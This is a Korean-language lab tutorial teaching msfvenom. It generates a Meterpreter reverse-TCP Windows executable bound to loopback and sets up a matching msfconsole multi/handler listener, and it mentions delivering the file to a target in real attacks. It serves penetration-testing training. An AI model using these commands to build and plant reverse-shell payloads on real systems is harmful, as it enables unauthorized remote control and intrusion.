소개
이 랩에서는 페이로드를 생성하는 데 사용되는 Metasploit Framework 의 명령줄 인스턴스인 msfvenom을 직접 사용해 보게 됩니다. msfvenom은 두 개의 이전 도구인 msfpayload와 msfencode를 결합하여 다양한 대상과 다양한 형식에 대한 쉘코드를 생성하는 단일의 강력한 도구를 제공합니다.
이 랩의 주요 목표는 독립 실행형 Windows 실행 파일 페이로드를 생성하는 과정을 안내하는 것입니다. 페이로드를 선택하고, 수신 호스트 및 포트와 같은 옵션을 구성하고, 마지막으로 페이로드로부터의 연결을 수신하기 위해 msfconsole에서 리스너를 설정하는 방법을 배우게 됩니다. 모든 작업은 ~/project 디렉토리 내에서 수행됩니다.
msfvenom --list payloads 를 사용하여 사용 가능한 페이로드 나열하기
이 단계에서는 msfvenom의 기능을 탐색하는 것부터 시작합니다. 어떤 도구에 대해 가장 먼저 배워야 할 것은 해당 도구가 무엇을 할 수 있는지입니다. --list payloads 옵션을 사용하여 사용 가능한 모든 페이로드를 나열할 수 있습니다. 이렇게 하면 msfvenom이 다양한 운영 체제, 아키텍처 및 애플리케이션에 대해 생성할 수 있는 모든 쉘코드의 포괄적인 목록을 얻을 수 있습니다.
전체 페이로드 목록을 보려면 터미널에서 다음 명령을 실행하십시오.
msfvenom --list payloads
출력은 매우 길 것입니다. 실제 시나리오에서는 특정 페이로드를 찾기 위해 이 목록을 필터링하는 것이 일반적입니다. 예를 들어, Windows 시스템을 대상으로 하는 경우 grep을 사용하여 관련 페이로드를 검색할 수 있습니다. 다음 단계에서 사용할 windows/meterpreter/reverse_tcp 페이로드를 찾아보겠습니다.
msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"
페이로드가 존재함을 확인하는 다음과 유사한 출력이 표시되어야 합니다.
windows/meterpreter/reverse_tcp Windows Meterpreter (Reflective Injection), Reverse TCP Stager
이를 통해 msfvenom이 이 특정 페이로드를 생성할 수 있음을 확인할 수 있습니다.
msfvenom -p windows/meterpreter/reverse_tcp 를 사용하여 Windows 실행 파일 생성하기
이 단계에서는 생성할 특정 페이로드를 선택합니다. 이전 단계의 검색을 기반으로 windows/meterpreter/reverse_tcp를 사용합니다. 이것은 매우 일반적이고 강력한 페이로드입니다. 대상 시스템에서 사용자에게 "역방향" 연결을 생성하며, "Meterpreter"는 광범위한 사후 공격 활동을 허용하는 고급 기능이 풍부한 쉘입니다.
msfvenom에서 페이로드를 선택하려면 -p (또는 --payload) 옵션을 사용합니다. 페이로드만 선택하여 명령을 빌드해 보겠습니다.
터미널에서 다음 명령을 실행하십시오.
msfvenom -p windows/meterpreter/reverse_tcp
이 명령이 실패하고 오류 메시지를 생성하는 것을 알 수 있습니다. 이는 예상된 결과입니다.
[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option
출력에서 LHOST가 필수 옵션임을 명확하게 알 수 있습니다. 이는 역방향 TCP 페이로드가 연결할 IP 주소를 알아야 하기 때문입니다. 다음 단계에서 이 필수 정보를 제공할 것입니다.
페이로드를 위한 LHOST 및 LPORT 설정
이 단계에서는 페이로드가 올바르게 작동하는 데 필요한 옵션을 제공합니다. 이전 단계의 오류 메시지에서 알 수 있듯이 LHOST를 설정해야 합니다.
LHOST: "Listening Host"를 의미합니다. 페이로드로부터 들어오는 연결을 수신할 머신의 IP 주소입니다. 이 실습에서는 동일한 머신에서 리스너를 실행할 것이므로 루프백 IP 주소인127.0.0.1을 사용할 수 있습니다.LPORT: "Listening Port"를 의미합니다. 리스너가 바인딩될LHOST의 포트입니다. 사용 중이 아닌 임의의 비특권 포트를 선택할 수 있습니다. 일반적으로4444를 사용합니다.
이러한 옵션은 명령줄에서 직접 설정할 수 있습니다. 이전 명령에 LHOST와 LPORT를 추가해 보겠습니다.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444
이 명령을 실행하면 터미널에 직접 출력되는 많은 문자 블록이 표시됩니다. 이것이 페이로드의 원시 쉘코드입니다.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>
이것은 독립 실행형 파일로는 그다지 유용하지 않습니다. 다음 단계에서는 이 원시 쉘코드를 사용 가능한 실행 파일로 형식화하는 방법을 배우게 됩니다.
-f exe 및 -o 를 사용하여 출력 형식과 파일 이름 지정하기
이 단계에서는 페이로드의 형식을 지정하고 파일로 저장하여 페이로드를 최종화합니다. 터미널에 원시 쉘코드를 출력하는 것은 전달에 실용적이지 않습니다. 대상 운영 체제가 실행할 수 있는 형식으로 패키징해야 합니다.
msfvenom은 이를 위해 두 가지 중요한 옵션을 제공합니다.
-f또는--format: 이 옵션은 출력 형식을 지정합니다. 대상이 Windows 이므로 표준 Windows 실행 파일을 생성하기 위해exe형식을 사용합니다.-o또는--out: 이 옵션은 출력 파일의 경로와 파일 이름을 지정합니다.
지금까지 배운 모든 옵션을 단일 최종 명령으로 결합해 보겠습니다. 이 명령은 현재 디렉토리 (~/project) 에 payload.exe라는 이름의 Windows 실행 파일을 생성합니다.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe
명령이 완료되면 페이로드 생성 확인 메시지가 표시됩니다.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
ls -l 명령을 사용하여 파일이 생성되었는지 확인할 수 있습니다.
ls -l payload.exe
출력에는 새로 생성된 파일이 표시되어야 합니다.
-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe
이제 독립 실행형 페이로드 파일을 성공적으로 생성했습니다.
연결을 받기 위해 msfconsole 에서 리스너 생성하기
이 단계에서는 방금 생성한 페이로드로부터의 연결을 처리할 리스너를 설정합니다. 역방향 연결을 "받을" 것이 없다면 페이로드는 쓸모가 없습니다. 이를 위해 Metasploit Framework 의 기본 인터페이스인 msfconsole을 사용할 것입니다.
먼저 msfconsole을 시작합니다. -q 플래그를 사용하면 배너를 표시하지 않고 조용히 시작되므로 더 깔끔합니다.
msfconsole -q
프롬프트가 msf6 >로 변경됩니다. 이제 들어오는 연결을 수신할 핸들러를 구성해야 합니다. 핸들러의 설정은 페이로드 생성 시 사용한 설정과 정확히 일치해야 합니다.
exploit/multi/handler모듈을 사용합니다. 이것은 들어오는 연결을 위한 일반적인 핸들러입니다.use exploit/multi/handler생성한 페이로드와 일치하도록 페이로드를 설정합니다.
set payload windows/meterpreter/reverse_tcpLHOST를 동일한 IP 주소로 설정합니다.set LHOST 127.0.0.1LPORT를 동일한 포트로 설정합니다.set LPORT 4444마지막으로 리스너를 실행합니다.
run
msfconsole은 이제 리스너가 시작되었음을 나타내는 메시지를 표시합니다.
[*] Started reverse TCP handler on 127.0.0.1:4444
이 시점에서 리스너는 활성화되어 대기 중입니다. 실제 공격에서는 payload.exe를 Windows 대상 시스템으로 전송하고 실행할 것입니다. 실행되면 이 리스너에 다시 연결되며, Meterpreter 세션을 얻게 됩니다. 이 실습에는 대상 Windows 머신이 없으므로 연결을 보지 못할 것입니다. 여기서의 목표는 페이로드 생성 및 해당 리스너 설정의 전체 프로세스를 배우는 것입니다.
리스너를 종료하려면 Ctrl + C를 누릅니다. msfconsole을 종료하려면 exit를 입력하고 Enter 키를 누릅니다.
exit
요약
이 실습에서는 msfvenom을 사용하여 독립 실행형 페이로드를 생성하는 기본 사항을 성공적으로 학습했습니다. 사용 가능한 페이로드를 탐색하는 것부터 최종 실행 파일을 생성하고 연결을 처리할 리스너를 설정하는 것까지 전체 워크플로를 실습했습니다.
이제 다음과 같은 주요 msfvenom 옵션에 익숙해졌습니다.
--list payloads: 사용 가능한 페이로드를 확인합니다.-p:windows/meterpreter/reverse_tcp와 같은 특정 페이로드를 선택합니다.LHOST및LPORT: 페이로드의 연결 세부 정보를 구성합니다.-f: 출력 형식을 설정합니다 (예:exe).-o: 페이로드를 파일로 저장합니다.
또한 msfconsole 내에서 exploit/multi/handler를 사용하여 페이로드 구성과 일치하는 리스너를 생성하는 방법을 배웠습니다. 이 지식은 많은 침투 테스트 및 보안 연구 작업의 중요한 기초를 형성합니다.


